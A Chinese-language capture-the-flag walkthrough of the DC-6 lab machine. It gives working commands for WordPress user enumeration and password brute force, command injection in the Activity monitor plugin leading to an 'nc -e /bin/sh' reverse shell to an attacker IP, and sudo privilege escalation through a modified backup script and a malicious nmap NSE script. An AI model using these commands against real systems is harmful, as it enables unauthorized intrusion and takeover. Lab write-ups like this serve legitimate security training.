DC-6靶机

信息收集

靶机扫描

nmap 192.168.93.0/24

端口扫描,根据80端口的信息，发现我们并不能直接访问靶机的web页面，和/wordy相关

nmap -A 192.168.93.163 -p-

工具信息应该是要加入到hosts文件里，进行加入

进行页面访问

进行目录扫描

进行拼接访问目录/wp-admin

WPScan是一款强大的WordPress安全扫描工具

使用WPscan扫描网站包含的用户名

wpscan --url http://wordy -e u  

得到admin，mark，graham，sarah，jens几个用户名

根据靶机线索给予的代码，可以得到一个密码字典，这个字典在kali里面是有的，将文件输出到当前目录的passwords.txt

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

使用WPscan工具利用密码字典pssswords.txt去扫描网站

wpscan --url http://wordy --passwords passwords.txt

得到用户名mark和密码helpdesk01

进行登录，登陆成功

有个Activity monitor插件，在插件的tools选项中

在ID or integer的输入框中输入东西，然后点击Lookup，发现有回显

获取shell

尝试一下命令执行

baidu.com | ls

用bp抓包一下，在bp中输入baidu.com | nc -e /bin/sh 192.168.93.130 7878进行反弹shell，同时在kali中监听7878端口

发现成功获取shell，用python开启一个交互式shell

python -c "import pty;pty.spawn('/bin/bash')"

进入/home目录，分别进入各个用户目录下查看存在什么可利用的文件

发现目录下面是几个用户文件，进去查看，在mark用户中，发现独有的stuff文件，查看文件内容

从thing-to-do.txt文件中我们得到graham用户的密码GSo7isUM1D4

利用用户graham和密码GSo7isUM1D4连接靶机的ssh服务

ssh graham@192.168.93.163

提权

进行sudo -l

发现可操作/home/jens/backups.sh，且执行时以jens用户身份执行

向脚本中写入/bin/bash命令，然后让jens用户来执行

echo "/bin/bash" >> /home/jens/backups.sh
sudo -u jens /home/jens/backups.sh

成功切换为jens用户

再次进行sudo -l

发现nmap命令执行时以root身份执行，需要nmap打开一个shell即可获得root权限，尝试编写提权脚本

先进入jens用户目录,编写并执行脚本

cd /home/jens

echo "os.execute('/bin/bash')">demon.nse
//nse为nmap可执行文件后缀，此命令为开启一个终端（以当前身份）
sudo nmap --script=demon.nse
//执行此脚本

成功获取root权限（这个shell不会显示打的命令，但是不影响输入）

查看/root目录，找到theflag.txt，